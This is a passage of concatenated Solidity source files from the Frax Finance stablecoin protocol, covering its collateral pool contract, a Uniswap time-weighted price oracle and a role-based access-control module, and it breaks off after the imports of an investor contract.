_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal virtual {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of `from`'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of `from`'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ============================= FraxPool =============================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
// Reviewer(s) / Contributor(s)
// Sam Sun: https://github.com/samczsun
import "../../Math/SafeMath.sol";
import "../../FXS/FXS.sol";
import "../../Frax/Frax.sol";
import "../../ERC20/ERC20.sol";
import "../../Oracle/UniswapPairOracle.sol";
import "../../Governance/AccessControl.sol";
import "./FraxPoolLibrary.sol";
contract FraxPool is AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
ERC20 private collateral_token;
address private collateral_address;
address private owner_address;
address private frax_contract_address;
address private fxs_contract_address;
address private timelock_address;
FRAXShares private FXS;
FRAXStablecoin private FRAX;
UniswapPairOracle private collatEthOracle;
address public collat_eth_oracle_address;
address private weth_address;
uint256 public minting_fee;
uint256 public redemption_fee;
uint256 public buyback_fee;
uint256 public recollat_fee;
mapping (address => uint256) public redeemFXSBalances;
mapping (address => uint256) public redeemCollateralBalances;
uint256 public unclaimedPoolCollateral;
uint256 public unclaimedPoolFXS;
mapping (address => uint256) public lastRedeemed;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
uint256 private constant COLLATERAL_RATIO_PRECISION = 1e6;
uint256 private constant COLLATERAL_RATIO_MAX = 1e6;
// Number of decimals needed to get to 18
uint256 private immutable missing_decimals;
// Pool_ceiling is the total units of collateral that a pool contract can hold
uint256 public pool_ceiling = 0;
// Stores price of the collateral, if price is paused
uint256 public pausedPrice = 0;
// Bonus rate on FXS minted during recollateralizeFRAX(); 6 decimals of precision, set to 0.75% on genesis
uint256 public bonus_rate = 7500;
// Number of blocks to wait before being able to collectRedemption()
uint256 public redemption_delay = 1;
// AccessControl Roles
bytes32 private constant MINT_PAUSER = keccak256("MINT_PAUSER");
bytes32 private constant REDEEM_PAUSER = keccak256("REDEEM_PAUSER");
bytes32 private constant BUYBACK_PAUSER = keccak256("BUYBACK_PAUSER");
bytes32 private constant RECOLLATERALIZE_PAUSER = keccak256("RECOLLATERALIZE_PAUSER");
bytes32 private constant COLLATERAL_PRICE_PAUSER = keccak256("COLLATERAL_PRICE_PAUSER");
// AccessControl state variables
bool public mintPaused = false;
bool public redeemPaused = false;
bool public recollateralizePaused = false;
bool public buyBackPaused = false;
bool public collateralPricePaused = false;
/* ========== MODIFIERS ========== */
modifier onlyByOwnerOrGovernance() {
require(msg.sender == timelock_address || msg.sender == owner_address, "You are not the owner or the governance timelock");
_;
}
modifier notRedeemPaused() {
require(redeemPaused == false, "Redeeming is paused");
_;
}
modifier notMintPaused() {
require(mintPaused == false, "Minting is paused");
_;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address _frax_contract_address,
address _fxs_contract_address,
address _collateral_address,
address _creator_address,
address _timelock_address,
uint256 _pool_ceiling
) public {
FRAX = FRAXStablecoin(_frax_contract_address);
FXS = FRAXShares(_fxs_contract_address);
frax_contract_address = _frax_contract_address;
fxs_contract_address = _fxs_contract_address;
collateral_address = _collateral_address;
timelock_address = _timelock_address;
owner_address = _creator_address;
collateral_token = ERC20(_collateral_address);
pool_ceiling = _pool_ceiling;
missing_decimals = uint(18).sub(collateral_token.decimals());
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
grantRole(MINT_PAUSER, timelock_address);
grantRole(REDEEM_PAUSER, timelock_address);
grantRole(RECOLLATERALIZE_PAUSER, timelock_address);
grantRole(BUYBACK_PAUSER, timelock_address);
grantRole(COLLATERAL_PRICE_PAUSER, timelock_address);
}
/* ========== VIEWS ========== */
// Returns dollar value of collateral held in this Frax pool
function collatDollarBalance() public view returns (uint256) {
if(collateralPricePaused == true){
return (collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral)).mul(10 ** missing_decimals).mul(pausedPrice).div(PRICE_PRECISION);
} else {
uint256 eth_usd_price = FRAX.eth_usd_price();
uint256 eth_collat_price = collatEthOracle.consult(weth_address, (PRICE_PRECISION * (10 ** missing_decimals)));
uint256 collat_usd_price = eth_usd_price.mul(PRICE_PRECISION).div(eth_collat_price);
return (collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral)).mul(10 ** missing_decimals).mul(collat_usd_price).div(PRICE_PRECISION); //.mul(getCollateralPrice()).div(1e6);
}
}
// Returns the value of excess collateral held in this Frax pool, compared to what is needed to maintain the global collateral ratio
function availableExcessCollatDV() public view returns (uint256) {
uint256 total_supply = FRAX.totalSupply();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
uint256 global_collat_value = FRAX.globalCollateralValue();
if (global_collateral_ratio > COLLATERAL_RATIO_PRECISION) global_collateral_ratio = COLLATERAL_RATIO_PRECISION; // Handles an overcollateralized contract with CR > 1
uint256 required_collat_dollar_value_d18 = (total_supply.mul(global_collateral_ratio)).div(COLLATERAL_RATIO_PRECISION); // Calculates collateral needed to back each 1 FRAX with $1 of collateral at current collat ratio
if (global_collat_value > required_collat_dollar_value_d18) return global_collat_value.sub(required_collat_dollar_value_d18);
else return 0;
}
/* ========== PUBLIC FUNCTIONS ========== */
// Returns the price of the pool collateral in USD
function getCollateralPrice() public view returns (uint256) {
if(collateralPricePaused == true){
return pausedPrice;
} else {
uint256 eth_usd_price = FRAX.eth_usd_price();
return eth_usd_price.mul(PRICE_PRECISION).div(collatEthOracle.consult(weth_address, PRICE_PRECISION * (10 ** missing_decimals)));
}
}
function setCollatETHOracle(address _collateral_weth_oracle_address, address _weth_address) external onlyByOwnerOrGovernance {
collat_eth_oracle_address = _collateral_weth_oracle_address;
collatEthOracle = UniswapPairOracle(_collateral_weth_oracle_address);
weth_address = _weth_address;
}
// We separate out the 1t1, fractional and algorithmic minting functions for gas efficiency
function mint1t1FRAX(uint256 collateral_amount, uint256 FRAX_out_min) external notMintPaused {
uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);
require(FRAX.global_collateral_ratio() >= COLLATERAL_RATIO_MAX, "Collateral ratio must be >= 1");
require((collateral_token.balanceOf(address(this))).sub(unclaimedPoolCollateral).add(collateral_amount) <= pool_ceiling, "[Pool's Closed]: Ceiling reached");
(uint256 frax_amount_d18) = FraxPoolLibrary.calcMint1t1FRAX(
getCollateralPrice(),
collateral_amount_d18
); //1 FRAX for each $1 worth of collateral
frax_amount_d18 = (frax_amount_d18.mul(uint(1e6).sub(minting_fee))).div(1e6); //remove precision at the end
require(FRAX_out_min <= frax_amount_d18, "Slippage limit reached");
collateral_token.transferFrom(msg.sender, address(this), collateral_amount);
FRAX.pool_mint(msg.sender, frax_amount_d18);
}
// 0% collateral-backed
function mintAlgorithmicFRAX(uint256 fxs_amount_d18, uint256 FRAX_out_min) external notMintPaused {
uint256 fxs_price = FRAX.fxs_price();
require(FRAX.global_collateral_ratio() == 0, "Collateral ratio must be 0");
(uint256 frax_amount_d18) = FraxPoolLibrary.calcMintAlgorithmicFRAX(
fxs_price, // X FXS / 1 USD
fxs_amount_d18
);
frax_amount_d18 = (frax_amount_d18.mul(uint(1e6).sub(minting_fee))).div(1e6);
require(FRAX_out_min <= frax_amount_d18, "Slippage limit reached");
FXS.pool_burn_from(msg.sender, fxs_amount_d18);
FRAX.pool_mint(msg.sender, frax_amount_d18);
}
// Will fail if fully collateralized or fully algorithmic
// > 0% and < 100% collateral-backed
function mintFractionalFRAX(uint256 collateral_amount, uint256 fxs_amount, uint256 FRAX_out_min) external notMintPaused {
uint256 fxs_price = FRAX.fxs_price();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, "Collateral ratio needs to be between .000001 and .999999");
require(collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral).add(collateral_amount) <= pool_ceiling, "Pool ceiling reached, no more FRAX can be minted with this collateral");
uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);
FraxPoolLibrary.MintFF_Params memory input_params = FraxPoolLibrary.MintFF_Params(
fxs_price,
getCollateralPrice(),
fxs_amount,
collateral_amount_d18,
global_collateral_ratio
);
(uint256 mint_amount, uint256 fxs_needed) = FraxPoolLibrary.calcMintFractionalFRAX(input_params);
mint_amount = (mint_amount.mul(uint(1e6).sub(minting_fee))).div(1e6);
require(FRAX_out_min <= mint_amount, "Slippage limit reached");
require(fxs_needed <= fxs_amount, "Not enough FXS inputted");
FXS.pool_burn_from(msg.sender, fxs_needed);
collateral_token.transferFrom(msg.sender, address(this), collateral_amount);
FRAX.pool_mint(msg.sender, mint_amount);
}
// Redeem collateral. 100% collateral-backed
function redeem1t1FRAX(uint256 FRAX_amount, uint256 COLLATERAL_out_min) external notRedeemPaused {
require(FRAX.global_collateral_ratio() == COLLATERAL_RATIO_MAX, "Collateral ratio must be == 1");
// Need to adjust for decimals of collateral
uint256 FRAX_amount_precision = FRAX_amount.div(10 ** missing_decimals);
(uint256 collateral_needed) = FraxPoolLibrary.calcRedeem1t1FRAX(
getCollateralPrice(),
FRAX_amount_precision
);
collateral_needed = (collateral_needed.mul(uint(1e6).sub(redemption_fee))).div(1e6);
require(collateral_needed <= collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral), "Not enough collateral in pool");
require(COLLATERAL_out_min <= collateral_needed, "Slippage limit reached");
redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_needed);
unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_needed);
lastRedeemed[msg.sender] = block.number;
// Move all external functions to the end
FRAX.pool_burn_from(msg.sender, FRAX_amount);
}
// Will fail if fully collateralized or algorithmic
// Redeem FRAX for collateral and FXS. > 0% and < 100% collateral-backed
function redeemFractionalFRAX(uint256 FRAX_amount, uint256 FXS_out_min, uint256 COLLATERAL_out_min) external notRedeemPaused {
uint256 fxs_price = FRAX.fxs_price();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
require(global_collateral_ratio < COLLATERAL_RATIO_MAX && global_collateral_ratio > 0, "Collateral ratio needs to be between .000001 and .999999");
uint256 col_price_usd = getCollateralPrice();
uint256 FRAX_amount_post_fee = (FRAX_amount.mul(uint(1e6).sub(redemption_fee))).div(PRICE_PRECISION);
uint256 fxs_dollar_value_d18 = FRAX_amount_post_fee.sub(FRAX_amount_post_fee.mul(global_collateral_ratio).div(PRICE_PRECISION));
uint256 fxs_amount = fxs_dollar_value_d18.mul(PRICE_PRECISION).div(fxs_price);
// Need to adjust for decimals of collateral
uint256 FRAX_amount_precision = FRAX_amount_post_fee.div(10 ** missing_decimals);
uint256 collateral_dollar_value = FRAX_amount_precision.mul(global_collateral_ratio).div(PRICE_PRECISION);
uint256 collateral_amount = collateral_dollar_value.mul(PRICE_PRECISION).div(col_price_usd);
require(collateral_amount <= collateral_token.balanceOf(address(this)).sub(unclaimedPoolCollateral), "Not enough collateral in pool");
require(COLLATERAL_out_min <= collateral_amount, "Slippage limit reached [collateral]");
require(FXS_out_min <= fxs_amount, "Slippage limit reached [FXS]");
redeemCollateralBalances[msg.sender] = redeemCollateralBalances[msg.sender].add(collateral_amount);
unclaimedPoolCollateral = unclaimedPoolCollateral.add(collateral_amount);
redeemFXSBalances[msg.sender] = redeemFXSBalances[msg.sender].add(fxs_amount);
unclaimedPoolFXS = unclaimedPoolFXS.add(fxs_amount);
lastRedeemed[msg.sender] = block.number;
// Move all external functions to the end
FRAX.pool_burn_from(msg.sender, FRAX_amount);
FXS.pool_mint(address(this), fxs_amount);
}
// Redeem FRAX for FXS. 0% collateral-backed
function redeemAlgorithmicFRAX(uint256 FRAX_amount, uint256 FXS_out_min) external notRedeemPaused {
uint256 fxs_price = FRAX.fxs_price();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
require(global_collateral_ratio == 0, "Collateral ratio must be 0");
uint256 fxs_dollar_value_d18 = FRAX_amount;
fxs_dollar_value_d18 = (fxs_dollar_value_d18.mul(uint(1e6).sub(redemption_fee))).div(PRICE_PRECISION); //apply fees
uint256 fxs_amount = fxs_dollar_value_d18.mul(PRICE_PRECISION).div(fxs_price);
redeemFXSBalances[msg.sender] = redeemFXSBalances[msg.sender].add(fxs_amount);
unclaimedPoolFXS = unclaimedPoolFXS.add(fxs_amount);
lastRedeemed[msg.sender] = block.number;
require(FXS_out_min <= fxs_amount, "Slippage limit reached");
// Move all external functions to the end
FRAX.pool_burn_from(msg.sender, FRAX_amount);
FXS.pool_mint(address(this), fxs_amount);
}
// After a redemption happens, transfer the newly minted FXS and owed collateral from this pool
// contract to the user. Redemption is split into two functions to prevent flash loans from being able
// to take out FRAX/collateral from the system, use an AMM to trade the new price, and then mint back into the system.
function collectRedemption() external {
require((lastRedeemed[msg.sender].add(redemption_delay)) <= block.number, "Must wait for redemption_delay blocks before collecting redemption");
bool sendFXS = false;
bool sendCollateral = false;
uint FXSAmount;
uint CollateralAmount;
// Use Checks-Effects-Interactions pattern
if(redeemFXSBalances[msg.sender] > 0){
FXSAmount = redeemFXSBalances[msg.sender];
redeemFXSBalances[msg.sender] = 0;
unclaimedPoolFXS = unclaimedPoolFXS.sub(FXSAmount);
sendFXS = true;
}
if(redeemCollateralBalances[msg.sender] > 0){
CollateralAmount = redeemCollateralBalances[msg.sender];
redeemCollateralBalances[msg.sender] = 0;
unclaimedPoolCollateral = unclaimedPoolCollateral.sub(CollateralAmount);
sendCollateral = true;
}
if(sendFXS == true){
FXS.transfer(msg.sender, FXSAmount);
}
if(sendCollateral == true){
collateral_token.transfer(msg.sender, CollateralAmount);
}
}
// When the protocol is recollateralizing, we need to give a discount of FXS to hit the new CR target
// Thus, if the target collateral ratio is higher than the actual value of collateral, minters get FXS for adding collateral
// This function simply rewards anyone that sends collateral to a pool with the same amount of FXS + the bonus rate
// Anyone can call this function to recollateralize the protocol and take the extra FXS value from the bonus rate as an arb opportunity
function recollateralizeFRAX(uint256 collateral_amount, uint256 FXS_out_min) external {
require(recollateralizePaused == false, "Recollateralize is paused");
uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals);
uint256 fxs_price = FRAX.fxs_price();
uint256 frax_total_supply = FRAX.totalSupply();
uint256 global_collateral_ratio = FRAX.global_collateral_ratio();
uint256 global_collat_value = FRAX.globalCollateralValue();
(uint256 collateral_units, uint256 amount_to_recollat) = FraxPoolLibrary.calcRecollateralizeFRAXInner(
collateral_amount_d18,
getCollateralPrice(),
global_collat_value,
frax_total_supply,
global_collateral_ratio
);
uint256 collateral_units_precision = collateral_units.div(10 ** missing_decimals);
uint256 fxs_paid_back = amount_to_recollat.mul(uint(1e6).add(bonus_rate).sub(recollat_fee)).div(fxs_price);
require(FXS_out_min <= fxs_paid_back, "Slippage limit reached");
collateral_token.transferFrom(msg.sender, address(this), collateral_units_precision);
FXS.pool_mint(msg.sender, fxs_paid_back);
}
// Function can be called by an FXS holder to have the protocol buy back FXS with excess collateral value from a desired collateral pool
// This can also happen if the collateral ratio > 1
function buyBackFXS(uint256 FXS_amount, uint256 COLLATERAL_out_min) external {
require(buyBackPaused == false, "Buyback is paused");
uint256 fxs_price = FRAX.fxs_price();
FraxPoolLibrary.BuybackFXS_Params memory input_params = FraxPoolLibrary.BuybackFXS_Params(
availableExcessCollatDV(),
fxs_price,
getCollateralPrice(),
FXS_amount
);
(uint256 collateral_equivalent_d18) = (FraxPoolLibrary.calcBuyBackFXS(input_params)).mul(uint(1e6).sub(buyback_fee)).div(1e6);
uint256 collateral_precision = collateral_equivalent_d18.div(10 ** missing_decimals);
require(COLLATERAL_out_min <= collateral_precision, "Slippage limit reached");
// Give the sender their desired collateral and burn the FXS
FXS.pool_burn_from(msg.sender, FXS_amount);
collateral_token.transfer(msg.sender, collateral_precision);
}
/* ========== RESTRICTED FUNCTIONS ========== */
function toggleMinting() external {
require(hasRole(MINT_PAUSER, msg.sender));
mintPaused = !mintPaused;
}
function toggleRedeeming() external {
require(hasRole(REDEEM_PAUSER, msg.sender));
redeemPaused = !redeemPaused;
}
function toggleRecollateralize() external {
require(hasRole(RECOLLATERALIZE_PAUSER, msg.sender));
recollateralizePaused = !recollateralizePaused;
}
function toggleBuyBack() external {
require(hasRole(BUYBACK_PAUSER, msg.sender));
buyBackPaused = !buyBackPaused;
}
function toggleCollateralPrice(uint256 _new_price) external {
require(hasRole(COLLATERAL_PRICE_PAUSER, msg.sender));
// If pausing, set paused price; else if unpausing, clear pausedPrice
if(collateralPricePaused == false){
pausedPrice = _new_price;
} else {
pausedPrice = 0;
}
collateralPricePaused = !collateralPricePaused;
}
// Combined into one function due to 24KiB contract memory limit
function setPoolParameters(uint256 new_ceiling, uint256 new_bonus_rate, uint256 new_redemption_delay, uint256 new_mint_fee, uint256 new_redeem_fee, uint256 new_buyback_fee, uint256 new_recollat_fee) external onlyByOwnerOrGovernance {
pool_ceiling = new_ceiling;
bonus_rate = new_bonus_rate;
redemption_delay = new_redemption_delay;
minting_fee = new_mint_fee;
redemption_fee = new_redeem_fee;
buyback_fee = new_buyback_fee;
recollat_fee = new_recollat_fee;
}
function setTimelock(address new_timelock) external onlyByOwnerOrGovernance {
timelock_address = new_timelock;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
/* ========== EVENTS ========== */
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import '../Uniswap/Interfaces/IUniswapV2Factory.sol';
import '../Uniswap/Interfaces/IUniswapV2Pair.sol';
import '../Math/FixedPoint.sol';
import '../Uniswap/UniswapV2OracleLibrary.sol';
import '../Uniswap/UniswapV2Library.sol';
// Fixed window oracle that recomputes the average price for the entire period once every period
// Note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period
contract UniswapPairOracle {
using FixedPoint for *;
address owner_address;
address timelock_address;
uint public PERIOD = 3600; // 1 hour TWAP (time-weighted average price)
uint public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end
bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale
IUniswapV2Pair public immutable pair;
address public immutable token0;
address public immutable token1;
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
modifier onlyByOwnerOrGovernance() {
require(msg.sender == owner_address || msg.sender == timelock_address, "You are not an owner or the governance timelock");
_;
}
constructor(address factory, address tokenA, address tokenB, address _owner_address, address _timelock_address) public {
IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB));
pair = _pair;
token0 = _pair.token0();
token1 = _pair.token1();
price0CumulativeLast = _pair.price0CumulativeLast(); // Fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pair.price1CumulativeLast(); // Fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, 'UniswapPairOracle: NO_RESERVES'); // Ensure that there's liquidity in the pair
owner_address = _owner_address;
timelock_address = _timelock_address;
}
function setOwner(address _owner_address) external onlyByOwnerOrGovernance {
owner_address = _owner_address;
}
function setTimelock(address _timelock_address) external onlyByOwnerOrGovernance {
timelock_address = _timelock_address;
}
function setPeriod(uint _period) external onlyByOwnerOrGovernance {
PERIOD = _period;
}
function setConsultLeniency(uint _consult_leniency) external onlyByOwnerOrGovernance {
CONSULT_LENIENCY = _consult_leniency;
}
function setAllowStaleConsults(bool _allow_stale_consults) external onlyByOwnerOrGovernance {
ALLOW_STALE_CONSULTS = _allow_stale_consults;
}
// Check if update() can be called instead of wasting gas calling it
function canUpdate() public view returns (bool) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
return (timeElapsed >= PERIOD);
}
function update() external {
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, 'UniswapPairOracle: PERIOD_NOT_ELAPSED');
// Overflow is desired, casting never truncates
// Cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
}
// Note this will always return 0 before update has been called successfully for the first time.
function consult(address token, uint amountIn) external view returns (uint amountOut) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that the price is not stale
require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, 'UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE');
if (token == token0) {
amountOut = price0Average.mul(amountIn).decode144();
} else {
require(token == token1, 'UniswapPairOracle: INVALID_TOKEN');
amountOut = price1Average.mul(amountIn).decode144();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../Utils/EnumerableSet.sol";
import "../Utils/Address.sol";
import "../Common/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; //bytes32(uint256(0x4B437D01b575618140442A4975db38850e3f8f5f) << 96);
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ======================= FraxPoolInvestorForV2 ======================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Reviewer(s) / Contributor(s)
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
import "../Math/SafeMath.sol";
import "../FXS/FXS.sol";
import "../Frax/Frax.sol";
import "../ERC20/ERC20.sol";
import "../ERC20/Variants/Comp.sol";
import "../Oracle/UniswapPairOracle.sol";
import "../Governance/AccessControl.sol";
import "../Frax/Pools/FraxPool.sol";
import "./yearn/IyUSDC_V2_Partial.sol";
import "./aave/IAAVELendingPool_Partial.sol";
